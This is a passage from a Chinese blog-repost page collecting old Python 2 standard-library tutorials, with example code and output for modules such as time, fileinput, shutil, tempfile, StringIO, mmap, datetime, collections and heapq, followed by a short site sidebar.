h: h = int (h) if string.lower(get( "ampm12" , " ")) == " pm": h = h + 12 tm[ 3 ] = h m = get( "minute" ) if m: tm[ 4 ] = int (m) s = get( "second" ) if s: tm[ 5 ] = int (s) # ignore weekday/yearday for now return tuple (tm) def strptime(string, format = "%a %b %d %H:%M:%S %Y" ): return TimeParser( format ).match(string) if _ _name_ _ = = "_ _main_ _" : # try it out import time print strptime( "2000-12-20 01:02:03" , "%Y-%m-%d %H:%M:%S" ) print strptime(time.ctime(time.time())) ( 2000 , 12 , 20 , 1 , 2 , 3 , 0 , 0 , 0 ) ( 2000 , 11 , 15 , 12 , 30 , 45 , 0 , 0 , 0 ) 使用 time 模块将本地时间元组转换为时间值(整数) import time t0 = time.time() tm = time.localtime(t0) print tm print t0 print time.mktime(tm) ( 1999 , 9 , 9 , 0 , 11 , 8 , 3 , 252 , 1 ) 936828668.16 936828668.0 将 UTC 时间元组转换为时间值(整数) import time def _d(y, m, d, days = ( 0 , 31 , 59 , 90 , 120 , 151 , 181 , 212 , 243 , 273 , 304 , 334 , 365 )): # map a date to the number of days from a reference point return (((y - 1901 ) * 1461 ) / 4 + days[m - 1 ] + d + ((m > 2 and not y % 4 and (y % 100 or not y % 400 )) and 1 )) def timegm(tm, epoch = _d( 1970 , 1 , 1 )): year, month, day, h, m, s = tm[: 6 ] assert year > = 1970 assert 1 < = month < = 12 return (_d(year, month, day) - epoch) * 86400 + h * 3600 + m * 60 + s t0 = time.time() tm = time.gmtime(t0) print tm print t0 print timegm(tm) ( 1999 , 9 , 8 , 22 , 12 , 12 , 2 , 251 , 0 ) 936828732.48 936828732 使用 time 模块评价算法 import time def procedure(): time.sleep( 2.5 ) # measure process time t0 = time.clock() procedure() print time.clock() - t0, "seconds process time" # measure wall time t0 = time.time() procedure() print time.time() - t0, "seconds wall time" 0.0 seconds process time 2.50903499126 seconds wall time 使用 types 模块 import types def check( object ): print object , if type ( object ) is types.IntType: print "INTEGER" , if type ( object ) is types.FloatType: print "FLOAT" , if type ( object ) is types.StringType: print "STRING" , if type ( object ) is types.ClassType: print "CLASS" , if type ( object ) is types.InstanceType: print "INSTANCE" , print check( 0 ) check( 0.0 ) check( "0" ) class A: pass class B: pass check(A) check(B) a = A() b = B() check(a) check(b) 0 INTEGER 0.0 FLOAT 0 STRING A CLASS B CLASS <A instance at 796960 > INSTANCE <B instance at 796990 > INSTANCE 使用 gc 模块收集循环引用垃圾 import gc # create a simple object that links to itself class Node: def _ _init_ _( self , name): self .name = name self .parent = None self .children = [] def addchild( self , node): node.parent = self self .children.append(node) def _ _repr_ _( self ): return "<Node %s at %x>" % ( repr ( self .name), id ( self )) # set up a self-referencing structure root = Node( "monty" ) root.addchild(Node( "eric" )) root.addchild(Node( "john" )) root.addchild(Node( "michael" )) # remove our only reference del root print gc.collect(), "unreachable objects" print gc.collect(), "unreachable objects" 12 unreachable objects 0 unreachable objects ============================================================================== 本文转自被遗忘的博客园博客,原文链接:http://www.cnblogs.com/rollenholt/archive/2011/11/27/2264909.html,如需转载请自行联系原作者

优秀的个人博客,低调大师

python标准库学习9

fileinput模块允许你循环一个或多个文本文件的内容 使用 fileinput 模块循环一个文本文件 import fileinput import sys for line in fileinput. input ( "samples/sample.txt" ): sys.stdout.write( "-> " ) sys.stdout.write(line) - > We will perhaps eventually be writing only small - > modules which are identified by name as they are - > used to build larger ones, so that devices like - > indentation, rather than delimiters, might become - > feasible for expressing local structure in the - > source language. - > - - Donald E. Knuth, December 1974 你也可以使用fileinput模块获得当前行的元信息 (meta information). 其中包括isfirstline,filename,lineno 使用 fileinput 模块处理多个文本文件 import fileinput import glob import string, sys for line in fileinput. input (glob.glob( "samples/*.txt" )): if fileinput.isfirstline(): # first in a file? sys.stderr.write( "-- reading %s --\n" % fileinput.filename()) sys.stdout.write( str (fileinput.lineno()) + " " + string.upper(line)) - - reading samples\sample.txt - - 1 WE WILL PERHAPS EVENTUALLY BE WRITING ONLY SMALL 2 MODULES WHICH ARE IDENTIFIED BY NAME AS THEY ARE 3 USED TO BUILD LARGER ONES, SO THAT DEVICES LIKE 4 INDENTATION, RATHER THAN DELIMITERS, MIGHT BECOME 5 FEASIBLE FOR EXPRESSING LOCAL STRUCTURE IN THE 6 SOURCE LANGUAGE. 7 - - DONALD E. KNUTH, DECEMBER 1974 文本文件的替换操作很简单. 只需要把inplace关键字参数设置为 1 , 传递给input函数, 该模块会帮你做好一切. 使用 fileinput 模块将 CRLF 改为 LF import fileinput, sys for line in fileinput. input (inplace = 1 ): # convert Windows/DOS text files to Unix files if line[ - 2 :] = = "\r\n" : line = line[: - 2 ] + "\n" sys.stdout.write(line) shutil实用模块包含了一些用于复制文件和文件夹的函数. 使用 shutil 复制文件 import shutil import os for file in os.listdir( "." ): if os.path.splitext( file )[ 1 ] = = ".py" : print file shutil.copy( file , os.path.join( "backup" , file )) aifc - example - 1.py anydbm - example - 1.py array - example - 1.py ... copytree函数用于复制整个目录树 (与cp -r相同), 而rmtree函数用于删除整个目录树 (与rm -r) 使用 shutil 模块复制/删除目录树 import shutil import os SOURCE = "samples" BACKUP = "samples-bak" # create a backup directory shutil.copytree(SOURCE, BACKUP) print os.listdir(BACKUP) # remove it shutil.rmtree(BACKUP) print os.listdir(BACKUP) [ 'sample.wav' , 'sample.jpg' , 'sample.au' , 'sample.msg' , 'sample.tgz' , ... Traceback (most recent call last): File "shutil-example-2.py" , line 17 , in ? print os.listdir(BACKUP) os.error: No such file or directory tempfile模块允许你快速地创建名称唯一的临时文件供使用. 使用 tempfile 模块创建临时文件 import tempfile import os tempfile = tempfile.mktemp() print "tempfile" , "=>" , tempfile file = open (tempfile, "w+b" ) file .write( "*" * 1000 ) file .seek( 0 ) print len ( file .read()), "bytes" file .close() try : # must remove file when done os.remove(tempfile) except OSError: pass tempfile = > C:\TEMP\~ 160 - 1 1000 bytes TemporaryFile函数会自动挑选合适的文件名, 并打开文件而且它会确保该文件在关闭的时候会被删除. (在 Unix 下, 你可以删除一个已打开的文件, 这 时文件关闭时它会被自动删除. 在其他平台上, 这通过一个特殊的封装类实现.) 使用 tempfile 模块打开临时文件 import tempfile file = tempfile.TemporaryFile() for i in range ( 100 ): file .write( "*" * 100 ) file .close() # removes the file! StringIO模块的使用. 它实现了一个工作在内存的文件对象 (内存文件). 在大多需要标准文件对象的地方都可以使用它来替换. 使用 StringIO 模块从内存文件读入内容 import StringIO MESSAGE = "That man is depriving a village somewhere of a computer scientist." file = StringIO.StringIO(MESSAGE) print file .read() That man is depriving a village somewhere of a computer scientist. StringIO类实现了内建文件对象的所有方法, 此外还有getvalue方法用来返回它内部的字符串值 使用 StringIO 模块向内存文件写入内容 import StringIO file = StringIO.StringIO() file .write( "This man is no ordinary man. " ) file .write( "This is Mr. F. G. Superman." ) print file .getvalue() This man is no ordinary man. This is Mr. F. G. Superman. 使用 StringIO 模块捕获输出 import StringIO import string, sys stdout = sys.stdout sys.stdout = file = StringIO.StringIO() print """ According to Gbaya folktales, trickery and guile are the best ways to defeat the python, king of snakes, which was hatched from a dragon at the world's start. -- National Geographic, May 1997 """ sys.stdout = stdout print string.upper( file .getvalue()) ACCORDING TO GBAYA FOLKTALES, TRICKERY AND GUILE ARE THE BEST WAYS TO DEFEAT THE PYTHON, KING OF SNAKES, WHICH WAS HATCHED FROM A DRAGON AT THE WORLD'S START. - - NATIONAL GEOGRAPHIC, MAY 1997 cStringIO是一个可选的模块, 是StringIO的更快速实现. 它的工作方式和StringIO基本相同, 但是它不可以被继承 使用 cStringIO 模块 import cStringIO MESSAGE = "That man is depriving a village somewhere of a computer scientist." file = cStringIO.StringIO(MESSAGE) print file .read() That man is depriving a village somewhere of a computer scientist. 为了让你的代码尽可能快, 但同时保证兼容低版本的 Python ,你可以使用一个小技巧在cStringIO不可用时启用StringIO模块, 后退至 StringIO try : import cStringIO StringIO = cStringIO except ImportError: import StringIO print StringIO <module 'StringIO' (built - in )> mmap模块提供了操作系统内存映射函数的接口,映射区域的行为和字符串对象类似, 但数据是直接从文件读取的. 使用 mmap 模块 import mmap import os filename = "samples/sample.txt" file = open (filename, "r+" ) size = os.path.getsize(filename) data = mmap.mmap( file .fileno(), size) # basics print data print len (data), size # use slicing to read from the file # 使用切片操作读取文件 print repr (data[: 10 ]), repr (data[: 10 ]) # or use the standard file interface # 或使用标准的文件接口 print repr (data.read( 10 )), repr (data.read( 10 )) <mmap object at 008A2A10 > 302 302 'We will pe' 'We will pe' 'We will pe' 'rhaps even' 在 Windows 下, 这个文件必须以既可读又可写的模式打开( `r+` , `w+` , 或 `a+` ), 否则mmap调用会失败. 对映射区域使用字符串方法和正则表达式 mport mmap import os, string, re def mapfile(filename): file = open (filename, "r+" ) size = os.path.getsize(filename) return mmap.mmap( file .fileno(), size) data = mapfile( "samples/sample.txt" ) # search index = data.find( "small" ) print index, repr (data[index - 5 :index + 15 ]) # regular expressions work too! m = re.search( "small" , data) print m.start(), m.group() 43 'only small\015\012modules ' 43 small ============================================================================== 本文转自被遗忘的博客园博客,原文链接:http://www.cnblogs.com/rollenholt/archive/2011/11/27/2264946.html,如需转载请自行联系原作者

优秀的个人博客,低调大师

python标准库学习4

>>> os.environ["HOME"] 'C:\\Users\\Administrator' >>> os.getcwd() #获得当前的目录 'D:\\new' >>> os.getenv("QTDIR") #获取环境变量的值 'D:\\vs2010-qt-src-4.7.4\\qt-src-4.7.4' os.putenv(varname, value) #设置环境变量的值 os.mkdir(path[, mode]) >>> os.mkdir("aa") >>> os.rmdir("aa") >>>os.makedirs("aa\\bb\\cc") 多级目录 os.removedirs(path)¶ os.remove("d:\\new\\hello.txt") #删除文件,如果是目录的话,出错 os.rename("test.txt","a.txt") random.randint(a, b) Return a random integer N such that a <= N <= b. random.choice(seq) Return a random element from the non-empty sequence seq. If seq is empty, raises IndexError. random.random() Return the next random floating point number in the range [0.0, 1.0). random.shuffle(x[, random]) 随机排序序列 random.uniform(a, b)¶返回a<=N<=b之间的浮点数 random.randrange([start], stop[, step])想当于choice(range(start, stop, step)) >>> random.random() # Random float x, 0.0 <= x < 1.0 0.37444887175646646 >>> random.uniform(1, 10) # Random float x, 1.0 <= x < 10.0 1.1800146073117523 >>> random.randint(1, 10) # Integer from 1 to 10, endpoints included 7 >>> random.randrange(0, 101, 2) # Even integer from 0 to 100 26 >>> random.choice('abcdefghij') # Choose a random element 'c' >>> items = [1, 2, 3, 4, 5, 6, 7] >>> random.shuffle(items) >>> items [7, 3, 2, 5, 6, 4, 1] >>> random.sample([1, 2, 3, 4, 5], 3) # Choose 3 elements [4, 1, 5] >>> datetime.MAXYEAR 9999 >>> datetime.MINYEAR 1 >>> a=datetime.date(2011,2,1) >>> a.today() datetime.date(2011, 11, 26) >>> a.year 2011 >>> a.month 2 >>> a.day 1 >>> import time >>> from datetime import date >>> today = date.today() >>> today datetime.date(2007, 12, 5) >>> my_birthday = date(today.year, 6, 24) >>> if my_birthday < today: ... my_birthday = my_birthday.replace(year=today.year + 1) >>> my_birthday datetime.date(2008, 6, 24) >>> time_to_birthday = abs(my_birthday - today) #计算日期之差 >>> time_to_birthday.days 202 >>> datetime.now() #当前时间 datetime.datetime(2011, 11, 26, 10, 40, 10, 283000) >>> datetime.utcnow() datetime.datetime(2011, 11, 26, 2, 40, 34, 809000) >>> a=date(2005,7,14) #日期和时间进行合并 >>> t=time(12,30,12) >>> datetime.combine(a,t) datetime.datetime(2005, 7, 14, 12, 30, 12) >>> dt = datetime.strptime("21/11/06 16:30", "%d/%m/%y %H:%M") >>> dt datetime.datetime(2006, 11, 21, 16, 30) >>> from datetime import timedelta, datetime, tzinfo >>> class GMT1(tzinfo): ... def __init__(self): # DST starts last Sunday in March ... d = datetime(dt.year, 4, 1) # ends last Sunday in October ... self.dston = d - timedelta(days=d.weekday() + 1) ... d = datetime(dt.year, 11, 1) ... self.dstoff = d - timedelta(days=d.weekday() + 1) ... def utcoffset(self, dt): ... return timedelta(hours=1) + self.dst(dt) ... def dst(self, dt): ... if self.dston <= dt.replace(tzinfo=None) < self.dstoff: ... return timedelta(hours=1) ... else: ... return timedelta(0) ... def tzname(self,dt): ... return "GMT +1" ... >>> class GMT2(tzinfo): ... def __init__(self): ... d = datetime(dt.year, 4, 1) ... self.dston = d - timedelta(days=d.weekday() + 1) ... d = datetime(dt.year, 11, 1) ... self.dstoff = d - timedelta(days=d.weekday() + 1) ... def utcoffset(self, dt): ... return timedelta(hours=1) + self.dst(dt) ... def dst(self, dt): ... if self.dston <= dt.replace(tzinfo=None) < self.dstoff: ... return timedelta(hours=2) ... else: ... return timedelta(0) ... def tzname(self,dt): ... return "GMT +2" ... >>> gmt1 = GMT1() >>> # Daylight Saving Time >>> dt1 = datetime(2006, 11, 21, 16, 30, tzinfo=gmt1) >>> dt1.dst() datetime.timedelta(0) >>> dt1.utcoffset() datetime.timedelta(0, 3600) >>> dt2 = datetime(2006, 6, 14, 13, 0, tzinfo=gmt1) >>> dt2.dst() datetime.timedelta(0, 3600) >>> dt2.utcoffset() datetime.timedelta(0, 7200) >>> # Convert datetime to another time zone >>> dt3 = dt2.astimezone(GMT2()) >>> dt3 # doctest: +ELLIPSIS datetime.datetime(2006, 6, 14, 14, 0, tzinfo=<GMT2 object at 0x...>) >>> dt2 # doctest: +ELLIPSIS datetime.datetime(2006, 6, 14, 13, 0, tzinfo=<GMT1 object at 0x...>) >>> dt2.utctimetuple() == dt3.utctimetuple() True class datetime.time(hour[, minute[, second[, microsecond[, tzinfo]]]]) >>> a=time(10,46,12) >>> a.min datetime.time(0, 0) >>> a.max datetime.time(23, 59, 59, 999999) >>> a.hour 10 >>> a.minute 46 >>> a.second 12 >>> a.microsecond 0 class collections.Counter([iterable-or-mapping]) A Counter is a dict subclass for counting hashable objects. >>> # Tally occurrences of words in a list >>> cnt = Counter() >>> for word in ['red', 'blue', 'red', 'green', 'blue', 'blue']: ... cnt[word] += 1 >>> cnt Counter({'blue': 3, 'red': 2, 'green': 1}) >>> # Find the ten most common words in Hamlet >>> import re >>> words = re.findall('\w+', open('hamlet.txt').read().lower()) >>> Counter(words).most_common(10) [('the', 1143), ('and', 966), ('to', 762), ('of', 669), ('i', 631), ('you', 554), ('a', 546), ('my', 514), ('hamlet', 471), ('in', 451)] >>> c = Counter(['eggs', 'ham']) >>> c['bacon'] # count of a missing element is zero 0 >>> c['sausage'] = 0 # counter entry with a zero count >>> del c['sausage'] # del actually removes the entry >>> c = Counter(a=4, b=2, c=0, d=-2) >>> list(c.elements()) ['a', 'a', 'a', 'a', 'b', 'b'] most_common([n]) #出现次数最多的n个 >>> Counter('abracadabra').most_common(3) [('a', 5), ('r', 2), ('b', 2)] >>> c = Counter(a=4, b=2, c=0, d=-2) >>> d = Counter(a=1, b=2, c=3, d=4) >>> c.subtract(d) Counter({'a': 3, 'b': 0, 'c': -3, 'd': -6}) >>> c = Counter(a=4, b=2, c=0, d=-2) >>> sum(c.values()) # total of all counts 4 >>> list(c) ['a', 'c', 'b', 'd'] >>> set(c) set(['a', 'c', 'b', 'd']) >>> dict(c) {'a': 4, 'c': 0, 'b': 2, 'd': -2} >>> c.items() [('a', 4), ('c', 0), ('b', 2), ('d', -2)] >>> c.most_common()[:-2:-1] # c.most_common()[:-n:-1] n least #common elements [('d', -2)] >>> c+=Counter() >>> c Counter({'a': 4, 'b': 2}) >>> c.clear() >>> c Counter() >>> c = Counter(a=3, b=1) >>> d = Counter(a=1, b=2) >>> c + d # add two counters together: c[x] + d[x] Counter({'a': 4, 'b': 3}) >>> c - d # subtract (keeping only positive counts) Counter({'a': 2}) >>> c & d # intersection: min(c[x], d[x]) Counter({'a': 1, 'b': 1}) >>> c | d # union: max(c[x], d[x]) Counter({'a': 3, 'b': 2}) >>> from collections import deque >>> d = deque('ghi') # make a new deque with three items >>> for elem in d: # iterate over the deque's elements ... print elem.upper() G H I >>> d.append('j') # add a new entry to the right side >>> d.appendleft('f') # add a new entry to the left side >>> d # show the representation of the deque deque(['f', 'g', 'h', 'i', 'j']) >>> d.pop() # return and remove the rightmost item 'j' >>> d.popleft() # return and remove the leftmost item 'f' >>> list(d) # list the contents of the deque ['g', 'h', 'i'] >>> d[0] # peek at leftmost item 'g' >>> d[-1] # peek at rightmost item 'i' >>> list(reversed(d)) # list the contents of a deque in reverse ['i', 'h', 'g'] >>> 'h' in d # search the deque True >>> d.extend('jkl') # add multiple elements at once >>> d deque(['g', 'h', 'i', 'j', 'k', 'l']) >>> d.rotate(1) # right rotation >>> d deque(['l', 'g', 'h', 'i', 'j', 'k']) >>> d.rotate(-1) # left rotation >>> d deque(['g', 'h', 'i', 'j', 'k', 'l']) >>> deque(reversed(d)) # make a new deque in reverse order deque(['l', 'k', 'j', 'i', 'h', 'g']) >>> d.clear() # empty the deque >>> d.pop() # cannot pop from an empty deque Traceback (most recent call last): File "<pyshell#6>", line 1, in -toplevel- d.pop() IndexError: pop from an empty deque >>> d.extendleft('abc') # extendleft() reverses the input order >>> d deque(['c', 'b', 'a']) def tail(filename, n=10): 'Return the last n lines of a file' return deque(open(filename), n) def moving_average(iterable, n=3): # moving_average([40, 30, 50, 46, 39, 44]) --> 40.0 42.0 45.0 43.0 # http://en.wikipedia.org/wiki/Moving_average it = iter(iterable) d = deque(itertools.islice(it, n-1)) d.appendleft(0) s = sum(d) for elem in it: s += elem - d.popleft() d.append(elem) yield s / float(n) def delete_nth(d, n): d.rotate(-n) d.popleft() d.rotate(n) class collections.defaultdict([default_factory[, ...]]) >>> s = [('yellow', 1), ('blue', 2), ('yellow', 3), ('blue', 4), ('red', 1)] >>> d = defaultdict(list) >>> for k, v in s: ... d[k].append(v) ... >>> d.items() [('blue', [2, 4]), ('red', [1]), ('yellow', [1, 3])] >>> d = {} >>> for k, v in s: ... d.setdefault(k, []).append(v) ... >>> d.items() [('blue', [2, 4]), ('red', [1]), ('yellow', [1, 3])] >>> s = 'mississippi' >>> d = defaultdict(int) >>> for k in s: ... d[k] += 1 ... >>> d.items() [('i', 4), ('p', 2), ('s', 4), ('m', 1)] >>> s = [('red', 1), ('blue', 2), ('red', 3), ('blue', 4), ('red', 1), ('blue', 4)] >>> d = defaultdict(set) >>> for k, v in s: ... d[k].add(v) ... >>> d.items() [('blue', set([2, 4])), ('red', set([1, 3]))] >>> def heapsort(iterable): ... 'Equivalent to sorted(iterable)' ... h = [] ... for value in iterable: ... heappush(h, value) ... return [heappop(h) for i in range(len(h))] ... >>> heapsort([1, 3, 5, 7, 9, 2, 4, 6, 8, 0]) [0, 1, 2, 3, 4, 5, 6, 7, 8, 9] >>> h = [] >>> heappush(h, (5, 'write code')) >>> heappush(h, (7, 'release product')) >>> heappush(h, (1, 'write spec')) >>> heappush(h, (3, 'create tests')) >>> heappop(h) (1, 'write spec') #coding=utf-8 #堆的实例 from heapq import heappush, heappop, heappushpop, heapify, heapreplace, nlargest,\ nsmallest heap=[] heappush(heap,"A"); heappush(heap,"C"); heappush(heap,"B"); print heap heappop(heap) #弹出堆中最小的元素 print heap var=heappushpop(heap,"D") #返回并弹出堆中最小的元素,并且将D压入堆 print var print heap var=heapreplace(heap,"E") #返回并弹出堆中最小的元素,并且将D压入堆, print var print heap list=[1,2,3,4,5,6,7,8,9,0] heapify(list); print list print nlargest(3,list) #返回堆中最大的3个 print nsmallest(3,list) #返回堆中最小的3个 ============================================================================== 本文转自被遗忘的博客园博客,原文链接:http://www.cnblogs.com/rollenholt/archive/2011/11/26/2264225.html,如需转载请自行联系原作者

资源下载

更多资源
Mario

Mario

马里奥是站在游戏界顶峰的超人气多面角色。马里奥靠吃蘑菇成长,特征是大鼻子、头戴帽子、身穿背带裤,还留着胡子。与他的双胞胎兄弟路易基一起,长年担任任天堂的招牌角色。

腾讯云软件源

腾讯云软件源

为解决软件依赖安装时官方源访问速度慢的问题,腾讯云为一些软件搭建了缓存服务。您可以通过使用腾讯云软件源站来提升依赖包的安装速度。为了方便用户自由搭建服务架构,目前腾讯云软件源站支持公网访问和内网访问。

Spring

Spring

Spring框架(Spring Framework)是由Rod Johnson于2002年提出的开源Java企业级应用框架,旨在通过使用JavaBean替代传统EJB实现方式降低企业级编程开发的复杂性。该框架基于简单性、可测试性和松耦合性设计理念,提供核心容器、应用上下文、数据访问集成等模块,支持整合Hibernate、Struts等第三方框架,其适用范围不仅限于服务器端开发,绝大多数Java应用均可从中受益。

Rocky Linux

Rocky Linux

Rocky Linux(中文名:洛基)是由Gregory Kurtzer于2020年12月发起的企业级Linux发行版,作为CentOS稳定版停止维护后与RHEL(Red Hat Enterprise Linux)完全兼容的开源替代方案,由社区拥有并管理,支持x86_64、aarch64等架构。其通过重新编译RHEL源代码提供长期稳定性,采用模块化包装和SELinux安全架构,默认包含GNOME桌面环境及XFS文件系统,支持十年生命周期更新。

用户登录
用户注册